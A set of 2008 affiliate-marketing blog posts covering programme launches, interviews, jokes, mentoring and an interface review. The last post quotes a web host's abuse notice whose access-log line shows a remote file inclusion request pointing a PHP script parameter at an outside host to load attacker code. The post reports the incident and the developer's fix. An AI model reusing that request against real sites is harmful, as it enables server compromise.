We are finally giving the Thornton Consultancy site and blog the re-design it BADLY needs. Again, sorry for the lack of posts! The site & blog re-launch is set for Sunday 27th April at 13:30 GMT, you can see a sneak preview by taking a look at our homepage.

Right, must dash… got a million and one things to finish before Sunday!

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We have made a decision within Thornton Consultancy to set up a no bullshit / straight talking Poker Affiliate School. I will get some more details posted on here in the next couple of weeks, but if you would like some info in the mean time drop me a line; ralph[at]thorntonconsultancy.co.uk

[there will be no further posts on the thornton consultancy affiliate blog until second week in april - we are absolutely snowed under with clients and unfortunately there needs come before this blog]

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Im very excited to announce that one of our biggest projects this year, mymoneyoffers.com (mm0), is to launch on altogether ads within the next 14 days. For those of you who don’t know mmo is one of the most competitive cashback sites on the net, offering consumers a fantastic £5!, cash, free just for joining aswell as an above standard cashback incentive for using the site as their shopping portal.

My Money Offers is one of the largest cash back reward websites in the UK with thousands of members. We also have a large number of other websites, both in the reward shopping sector and various other niches. The following information will tell you more about opportunities to partner with us.

We have partnered with hundreds of leading online retailers each awarding us sales commissions generated by our members. In turn we share these revenues with our members, resulting in a loyal user base who then come back to our website before they make an online purchase.

We have the facilities to automate the crediting of our members cash back, we handle all the administration and member support, dedicating our time to refining the marketing process and supporting the financing of members sign-up incentives.

By joining our affiliate program you will give yourself the opportunity to expand into the cashback sector with the backing of two dedicated account managers (Ralph Thornton & James Ash). We are willing to help our affiliates in anyway we can, so please feel free to get in contact if you have any questions (ralph[at]thorntonconsultancy.co.uk or james.ash[at]jamcamedia.com). Oh - and i nearly forgot, mmo are working on a white label solution - watch this space, or email james!

Who are Altogether Ads?
Altogether Ads was founded off the back of Altogether Digital’s Affiliate management arm, headed by James Little, a well know and respected affiliate, affiliate manager and programmer. The Network is supported by the share results software, making it extremely flexible, with tracking that has a proven record for being solid and reliable. With special features such as cookies not being removed by the major antivirus programs (McAfee, Trend Micro, etc.). Tracking is also supported on lots of different types of marketing tools and can also do direct linking or redirect linking, in addition the software offers the capability for text links, banners, dynamic links, content links, product feed links, PPC links, etc. In addition, virtually all members of the Altogether Ads team have experience with setting up programs, or have experience actually being an affiliate, meaning the service affiliates and clients get is unsurpassed in the industry.

[i will post the programme sign up link as soon as it becomes live on Altogether]

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James Little has been working online in web development and Internet marketing since leaving college in 1999. He currently heads up the Affiliate Marketing Department at Altogether Digital - a leading full service digital marketing agency.

Hi James, I hear you’’re a bit of a name in affiliate marketing, how do you think 2008 will do for affiliate marketing?

A name?, ha! I wouldn’t go that far!, I try and keep my head down and not be noticed, honest!

2008 will be an interesting year for affiliate marketing,  I think it will keep us all busy to say the least. There are issues in the industry that need to be resolved (don’t get me started on brand name biding) and there are serious moves for networks to get together and start to crack down on some of the dodgy practices that are still out there! I imagine that we’ll also see a few acquisitions, Affiliate Window being snapped up in Q2 and TD in Q4. I also hear that Doubleclick/Google will be launching in the UK/Europe pretty soon (Performics) and pick up some pretty big brands.

I’’ve recently had a look at some of your merchants and they sound fantastic with some good offers, what do you think are the 3 main differences, for affiliate, that set you apart?

I’’ll try not to speak too much about our merchants but overall the thing that I like the most about Altogether Ads is that we are trying (as much as we can!) to provide a high level of support to both our clients and affiliates alike. Our merchants are following best practice guidelines and we’’re getting one’s onboard that are going down really well, which is always good to see!

Does that set us apart? Not necessarily – but as someone who has been in this industry for a while I’’m proud to be part of what we are doing.

I speak to Ken (Altogether Ads Affiliate Manager) on messenger a lot and he tells me you have some passion for Poker..any thoughts on how it fees to loose to a beginner?
I think that Ken is the one you should be asking for poker tips – he won our recent work tournament (out of 19 of us) and for someone that had apparently never played before he did fairly well!

I understand that you’ve been in the industry for quite some time, care to give a few bits about your journey to being the affiliate director at altogether digital?
I was lucky to work for what was once a great company at One.Tel when it was still around. I came out of college and wanted to get straight into work and after starting in customer service I was allowed to progress to become a lead developer there. This is when I started in affiliate marketing and worked on a few of my own sites before leaving One.Tel and going into Online Marketing on a full time basis.

The rest as they say is history and whilst I’’ve worked across multiple marketing channels it’’s the affiliate marketing part that I’’ve found the most fun and rewarding of all. I love to see the way it’’s developing and look forward to working in the industry for a long time to come.

I’’ve heard you’re quite vocal and passionate about brand name bidding, what are your thoughts on this issue and what do you think can be done about it?
Some merchants and networks will continue to allow it but hopefully those of us who are being quite vocal about the damages that brand name bidding is doing will be heard and things will start to change.– It’’s the big brands that are being wrongly convinced it is a good thing to do and a few of them are changing their policies which can only be a good thing. If you need to know more about the issues then check out my blog post.

How do you feel about the issues surrounding last man in tracking?
It doesn’’t always work. I expect to see some networks develop technology this year to offer a fairer system, especially where cashback and voucher code sites are concerned.

I hear that Altogether Ads has had some good feedback from affiliates, any interesting plans for the network this year?
We have a few developments coming but it’’s all very hush hush at the moment, I would not want to spoil the surprise after all! We’’ve done a lot in a very short space of time and hopefully at the end of 2008 we can sit back and be happy with the achievements that we have made; if we can do that I’’ll he a happy man.

Watch out for a few programmes launching soon on Altogether Ads, managed by Thornton Consultancy, the first of which I will talk about tomorrow… [and under advice of several people, im going to slave away tonight and design a new skin for the blog, as lets face it, this one has got some serious issues!]

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Today is just getting worse and worse, 2 crashed servers and a corrupt data set - and thats just this morning! Can things get any worse? The most probable answer is yes! It’s lucky that i managed to find some Peter Kay one liners to cheer me up, I just thought i’d share them with my readers in case they are having an equally bad day and need cheering up!

Peter Kay One Liners

• I saw a fat woman wearing a sweatshirt with ‘Guess’ on it. I said ‘Thyroid problem?’
• When I was a kid I used to pray every night for a new bike. Then I realised that The Lord doesn’t work that way, so I stole one and asked him to forgive me.
• I’ve often wanted to drown my troubles, but I can’t get my wife to go swimming.
• I was doing some decorating, so I got out my step-ladder. I don’t get on with my real ladder.
• I went to a restaurant that serves ‘breakfast at any time’. So I ordered French Toast during the Renaissance.
• A cement mixer collided with a prison van on the Kingston Bypass. Motorists are asked to be on the lookout for 16 hardened criminals.
• Well I was bullied at school, called all kinds of different names. But one day I turned to my bullies and said ‘Sticks and stones may break my bones but names will never hurt me’, and it worked! >From there on it was sticks and stones all the way.
• My Dad used to say ‘always fight fire with fire’, which is probably why he got thrown out of the fire brigade.
• Sex is like playing bridge: If you don’t have a good partner, you better have a good hand.
• I saw six men kicking and punching the mother-in-law. My neighbour said ‘Are you going to help?’ I said ‘No, six should be enough.’
• If we aren’t supposed to eat animals, then why are they made out of meat?
• I think animal testing is a terrible idea; they get all nervous and give the wrong answers.
• You know that look women get when they want sex? No, me neither
• Politicians are wonderful people as long as they stay away from things they don’t understand, such as working for a living.
• I was the kid next door’s imaginary friend.
• Right now I’m having amnesia and deja vu at the same time. I think I’ve forgotten this before

PETER KAY’S UNIVERSAL TRUTHS

• Triangular sandwiches taste better than square ones.
• At the end of every party there is always a girl crying.
• One of the most awkward things that can happen in a pub is when your pint-to-toilet cycle gets synchronised with a complete stranger.
• Sharpening a pencil with a knife makes you feel really manly.
• You’re never quite sure whether it’s against the law or not to have a fire in your back garden.
• Nobody ever dares make cup-a-soup in a bowl.
• You never know where to look when eating a banana.
• You always feel a bit scared when stroking horses.
• The smaller the monkey the more it looks like it would kill you at the first given opportunity.
• Every bloke has at some stage while taking a pee, flushed half way through and then raced against the flush.
• Its impossible to look cool whilst picking up a Frisbee.
• Driving through a tunnel makes you feel excited.
• Old ladies can eat more than you think.
• You can’t respect a man who carries a dog.
• Despite constant warning, you have never met anybody who has had their arm broken by a swan.
• You’ve turned into your dad the day you put aside a thin piece of wood specifically to stir paint with.
• Knowledge is knowing a tomato is a fruit; Wisdom is not putting it in a fruit salad.

SOME GREAT QUESTIONS BROUGHT TO YOU BY PETER KAY

• Why does your gynaecologist leave the room when you get undressed?
• If a person owns a piece of land do they own it all the way down to the core of the earth?
• Why can’t women put on mascara with their mouth closed?
• Is it possible to brush your teeth without wiggling your bottom?
• Why is it called Alcoholics Anonymous when the first thing you do is stand up and say, ‘My name is Peter and I am an alcoholic’?
• Why are they called stairs inside but steps outside?
• Why is there a light in the fridge and not in the freezer?
• Why does mineral water that ‘has trickled through mountains for centuries’ have a ‘use by’ date?
• Why do toasters always have a setting that burns the toast to a horrible crisp no one would eat?
• Is French kissing in France just called kissing?
• Who was the first person to look at a cow and say, ‘I think I’ll squeeze these dangly things here and drink whatever comes out’?
• What do people in China call their good quality plates?
• Why do people point to their wrist when asking for the time, but don’t point to their crotch when they ask where the bathroom is?
• What do you call male ballerinas?
• Why is a person that handles your money called a ‘Broker’?
• If quizzes are quizzical, what are tests?
• If corn oil is made from corn, and vegetable oil is made from vegetables, then what is baby oil made from?
• Why is it that when someone tells you that there are over a billion stars in the universe, you believe them, but if they tell you there is wet paint somewhere, you have to touch it to make sure.

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If someone had said to me a couple of years ago “that to truly succeed in business and to get the most out of yourself you need a mentor” i would have replied that they where stark, raving mad. How is someone interfering and telling ME what to do going to help ME? Well, after having a mentor for just over 2 months I can tell you that I am truly gratefull for having mine! I would have made some absolutely horrendous business decisions had i not been ‘watched over’!

Fortunately for me I now have 2 mentors that guide me through 2 crucial areas in my business life;

• My Affiliate Mentor who is someone I soundboard alot of my Affiliate ideas off, he’s also the guy that picks me up when i get a PR drop!
• My Business Mentor who has tons of business experience which he passes on to me - generally in the form of contract and negotiation techniques.

I will admit, I’m extremely lucky to have not one, but two mentors as i’ve been told it can be hard enough finding one, let alone 2 people that you gel with and feel comfortable discussing all of your business problems with.

Having a mentor in business will not only provide you with a sounding board for all of your problems, concerns and ideas but it will also provide you with the opportunity to grow as a person. The mentor-protégé relationship can be difficult at times as the mentor will always advise you to do things their way and the protégé often wanting to take a different direction - 99% of the time the mentor is usally right though, obviously im not bitter from any stupid, avoidable [had i listened to my mentor, wouldn’t of happened] mistakes i’ve made before!

What im trying to get at with these random ramblings is simple; having a mentor in the affiliate marketplace WILL benefit you greatly, if you get stuck trying to find one leave me a comment or drop me an email [ralph[at]thorntonconsultancy.co.uk] and i will point you in the right direction.

On another note, congratulations to Jules Bazley over at IBG who is celebrating the birth of his new son! I hope he’s not as ugly as you Jules!

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Affiliate Future have released there new affiliate interface, i’ve had a few problems with it in firefox, so im going to run through it properly in ie tonight and let you all know what my findings are…

Well i’ve tried in both ie and firefox and its giving me errors all over the place, i’ve emailed affiliate future, ill put it down to ‘teething problems’ although it should have been tested really shouldn’t it? guess i’ll have to try again tomorrow!

Updated: 04/03/08 - 15:59 (or there abouts!)
Having spent a good couple of hours browsing through the new interface i must say i’m pretty impressed, there are a fair few server side errors but as someone reminded me last night, it has only just come out of BETA testing and there will be a few gremlins in the system!

The new interface has a nice, streamlined design with lots of the old clutter removed. One of my favorite features is the new communication center that allows affiliates to interact with the merchants directly, this should in theory resolve alot of problems with the Affiliate Merchant relationship, but only time will tell. Merchants, if your reading… ‘The New Interface is there for a reason, don’t ignore the affiliates, work with them no matter how trivial a question may seem’.

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Kieron, author of Here.org.uk, winner of Affiliate Blog 2007 at the A4U Awards and all round super affiliate backs away from his closely monitored campaigns for a quick interview…

Kieron, you are one of the better known and more successful than average UK affiliate, could you tell us how you got started in the Affiliate arena?
It was a means to an end really. When I started out many years ago my Mam was really poorly so I wanted to do something that allowed me to spend time with her and then fit my work around her when I could. This often meant working late into the night, but at least with AM, you don’t have to keep normal business hours.

We know that you started off as a part-time affiliate, how long was it until you could leave your real job and become a full time affiliate?
Well I had a few false starts and I would sometimes lose interest and not push myself as much as I needed to. So in my case it took maybe 2 years or so of working on a part time basis before I took the plunge and went full time. I made sure I’d saved about 6 months worth of bill and mortgage payments in the bank before I did it though!

What are the current websites that you run?
Some of them are listed here, but not all of them…
www.bingo.org.uk, www.poker.org.uk, www.etoys.co.uk, www.ukoffer.com, www.broadbandguide.co.uk, www.lotto.org.uk

What would be the best advice you would give to a potential affiliate?
Don’t waste your money on training courses, fancy software or ebooks. Just build a site around something your are passionate about and be patient. If you create a good site then in time, visitors will come and then you can monetise.

I personally remember your Site Point thread back in 2005 giving me a fairly big kick up the arse, do you think it has inspired many potential affiliates?
I hope so. A lot of people to this day still email me about that thread and ask me questions or tell me how that post started them off in the world of AM.

Mobiles & Broadband used to be your cornerstone business is this still the case?
I was one of the first affiliates in the UK to run a broadband affiliate site, its fair to say that once upon a time I was the biggest affiliate in that niche. Not so much with mobiles, but I did generate a lot of sales. Now although I still have sites in those sectors I don’t use PPC (too expensive) and am diversifying into getting traffic to the sites from natural search.

Can you see any big changes coming to the affiliate world in the next 12 months?
Yes mobile will have a huge impact in the next year and we’ll all be buying online using our mobile phones – only kidding, people have been saying that for the last 5 years and it still hasn’t happened. I doubt it ever will.

Like everything that becomes more popular, as Internet use grows, then, by definition, our competition as Affiliate Marketeers grows too and some will find it a harder industry to break into. Gone are the easy days of throwing up cheap and cheerful landing pages and setting up equally cheap ppc campaigns. Now, affiliates need to be a lot cleverer in what they do and work that little bit harder.

Your a big fan of R&B Music, has this always been the case?
Most definitely, ever since I bought Prince’s “Purple Rain” album many years ago. I’ve always loved my R&B and always will!

What’s your ‘track of the moment’?
Ryan Leslie – “Diamond Girl” That track has been around for a while but has just gotten a re-release and hopefully will make Ryan Leslie a star.

You currently manage the Secret Sales affiliate programme, how is that going?
It’s going really well. SecretSales.com is the first online business where I actually approached them and asked if I could set up and run an affiliate programme for them, as I liked their business model so much. Its interesting to see life on the other side of the fence too, so a really good experience for me all round.

And finally, your blog is going from strength to strength, could you give any helpful tips for blog newbies?
Be original and write with passion and personality. There are so many blogs out there that are just plain dull, I don’t know why people even bother to write them in the first place. If you have nothing interesting to say then for Gods sake don’t start a blog just because everybody else is.

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Myself, Conrad, James Ash & John Wales are ploughing alot of time in getting Poker User up and running. Poker User is a Poker guide written by players for players, if you would be interested in having your content featured please send an email to pokeruser[at]thorntonconsultancy.co.uk, a new post has just been updated on the site, this will give you an idea of the quality of content we are looking for, Poker Rules Texas Hold’em.

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We have been using Form Tools (a genergic form processing, storage and access script) for just over 6 months to process the data from all of our various feedback forms and corrolate it in one central database. Everything was working fine with the script until i got an email from my webhosts…

From: <abuse-team@1and1.com>
To: <ralph [at] thorntonconsultancy.co.uk>
Sent: Friday, February 22, 2008 10:41 AM
Subject: C######### - 1&1 Internet Compliance

Dear Ralph Thornton, (Customer ID: #########)

It has come to our attention that your web space has been hacked:

125.162.168.131 - - [15/Feb/2008:12:12:08 +0100] “POST /####//g#####/templates/admin_page_open.php?g_root_dir=http://www.troske n.com/sky?? HTTP/1.1″ 200 212394 www.thorntonconsultancy.co.uk “http://www.thorntonconsultancy.co.uk/####//g#####/templates/admin_page_op en.php?g_root_dir=http://www.trosken.com/sky??” “Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3″ “-”

–

The above was taken from your access logs. It shows that /members//global/templates/admin_page_open.php was used to perpetrate the hack.

Please contact the developers for this script/application. You will likely need to install a version update and/or security patch to prevent further abuse.

Also, reply to this email in acknowledgement of this issue. Failure to do so can result in your account being locked and possibly terminated.

–
Sincerely,
Robin Klingsberg
Customer Compliance Operative
1&1 Internet Inc.

First of all I was amazed at 1&1 actually picking up a vunrability in a script I was using, now don’t get me wrong there not a bad webhost but sometimes there tech support can be weak at best, so it was a suprise that they pro-actively monitor for attempted hacks! But then I realised this could cause some damage to my data so I immediately posted up the message I had recieved on Form Tools support forum, I wasn’t really expecting a response as this is a free script coded by a full time employed programmer. But to my suprise, within a couple of hours of me making the post the developer, Benjamin Keen, sent me an email to address the vunrability in his script and offer his support to get it resolved.

I immediately took Ben up on his offer and after a couple of emails backwards and forwards he got the issue resolved for me. I’m just writing this post to show the world that there are developers out there that produce first class applications for free and support them better than most paid programmes. Ben Keep up the good work and I hope to see more scripts from you in the future.

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